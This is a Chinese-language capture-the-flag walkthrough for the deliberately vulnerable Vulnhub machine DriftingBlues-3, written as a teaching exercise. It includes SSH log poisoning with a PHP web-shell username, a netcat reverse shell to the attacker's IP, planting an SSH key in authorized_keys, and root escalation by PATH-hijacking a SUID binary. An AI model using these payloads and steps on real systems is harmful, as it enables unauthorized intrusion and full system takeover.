目录
2、使用nmap扫描靶机,看有什么服务是可利用的(端口扫描)
Vulnhub靶机介绍:
vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
Vulnhub靶机下载:
官网地址:https://download.vulnhub.com/driftingblues/driftingblues3.ova
靶机安装:
首先,在VMware主页打开虚拟机
然后选择靶机镜像,打开
之后导入靶机,选择靶机存储路径,导入
如果出现导入失败,选择重试,稍等片刻,导入成功
攻击机扫不到靶机ip的解决方法:
在开机时按下Shift键进入界面*
按e 键,进入该界面,找到ro
将ro替换为 rw signie init=/bin/bash
按Ctrl键+X键,如果没成功说明配置错了需要从新继续配置,如果是下面这个界面说明配置成功。
查看当前网卡IP信息: ip a
发现网卡是 ens33 ,然后编辑网卡配置文件:vim /etc/network/interfaces
重启网卡: /etc/init.d/networking restart
再次ip a查看,发现有了,然后进行测试,成功
环境信息
靶机:DriftingBlues-3,IP地址:192.168.52.147
攻击机:Kali,IP地址:192.168.52.134
渗透测试
一. 信息收集
1、打开kali,查看kali的IP地址和子网掩码
因为靶机和kali现在属于同一个网段,查看kali的IP和子网掩码是为了获得靶机的网段
靶机的网段是:192.168.52.0/24
netdiscover -i eth0 -r 192.168.52.0/24
##netdiscover: -i 指定网卡 -r 指定网段
也可以使用nmap进行主机发现,
nmap -sP 192.168.52.0/24
在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址
或使用arp-scan -l命令拿到靶机的IP地址
获得靶机靶机ip:192.168.52.147
2、使用nmap扫描靶机,看有什么服务是可利用的(端口扫描)
root@kali:~# nmap -sV -A 192.168.52.147
-sV只扫描端口及其版本号
-A扫描端口的详细信息
目标靶机开放了22、80端口。
3、访问网页,查看基本信息
使用Firefox插件Wappalyzer,或者扫描网站目录,查看robots.txt等暴露出的信息,可以获取到网站相关信息
使用浏览器插件Wappalyzer,检测网站的CMS,框架,服务器等信息
没有检测到CMS信息
利用dirsearch进行网站目录扫描:
dirsearch -u 192.168.52.147 -e * -i 200
-i 状态码 只显示该状态码
-x 状态码 不显示该状态码
访问http://192.168.52.147/robots.txt,发现了/eventadmins
继续访问,发现了/littlequeenofspades.html
继续访问,好像没啥用
F12查看源代码,发现是一串base64,直接解码
base64在线解密:Base64在线加密解密-在线Base64加密解密工具-Base64编码解码工具
再次解密,最终得到了 /adminsfixit.php
访问/adminsfixit.php,发现是日志文件
二. 漏洞查找与利用
1、发现漏洞
进行ssh登录验证,发现即使是登入失败也会记录进/adminsfixit.php文件
并且注意到登录用户名显示在日志中,也就是说如果我们进行ssh登陆时,可以将用户名写成一句话木马就可以写入进日志文件中
使用命令:ssh '<?php system($_GET["cmd"]);?>'@192.168.52.147
http://192.168.52.147/adminsfixit.php?cmd=id #执行成功
2、漏洞利用,反弹shell
既然可以执行命令了那就反弹shell
首先kali开启监听:nc -lvvp 4444
执行反弹shell命令:
http://192.168.52.147/adminsfixit.php?cmd=nc -e /bin/bash 192.168.52.134 4444
成功
获得交互shell:
python -c 'import pty; pty.spawn("/bin/bash")'
3、发现新用户,创建公钥
进入home下,发现robertj用户,然后进去,查看隐藏文件,发现打不开user.txt
ls-al 发现 .ssh文件
查看.ssh发现里面没有ras
查看ssh配置文件/etc/ssh/sshd_config,发现可以使用公钥登入,并且给出了文件名/home/robertj/.ssh/authorized_keys
cat /etc/ssh/sshd_config
那就创建公钥:
首先直接在目标机生成一个公钥:ssh-keygen -t rsa
将生成的私钥保存到:/home/robertj/.ssh/id_rsa
将 SSH 公钥文件重命名为 authorized_keys ,用于 SSH 登陆认证:cat id_rsa.pub > authorized_keys
重命名文件
然后将私钥复制到本机,因为上面输入了密码:123456 ,所以等下使用私钥进行ssh登入时也要输入密码
4、使用私钥进行ssh登入,发现flag1
使用私钥进行ssh登入:
命令:ssh robertj@192.168.52.147 -i id_rsa
登录失败
更改私钥文件的权限,然后登入
chmod 400 id_rsa #赋予权限
ssh robertj@192.168.52.147 -i id_rsa #ssh登入
123456 #输入登入密码
登入成功,发现flag1
三、提权
1、使用命令查看是否有suid的提权的命令
寻找提权点: sudo -l
发现sudo命令用不了
使用find查看具有s权限文件
find / -perm -u=s -type f 2>/dev/null
有个 getinfo,不像是本来的二进制文件,执行getinfo发现返回了一些主机的IP信息、hosts文件和os信息,这应该是执行了ip a、cat /etc/hosts、uname -a命令
2、使用环境变量进行命令劫持提权,得到flag
所以我们修改其中一个命令获得root权限。
使用环境变量进行命令劫持提权的原理:在执行getinfo系统命令时,因为getinfo中大概使用了ip命令,所以我们可以自行编写一个同名文件,比如说ip,然后可以添加环境变量,这样getinfo在调用命令时会首先检索环境变量,这样就会调用到我们伪造的cat,执行我们想要的命令,从而达到提权的效果,即使用环境变量进行命令劫持提权
export PATH=/tmp/:$PATH #把/tmp路径加入到系统路径中,更改环境变量
cd /tmp
echo '/bin/bash' > ip #创建ip文件,写入/bin/bash
chmod +x ip #增加执行权限
/usr/bin/getinfo #执行
获得 root权限,得到flag2: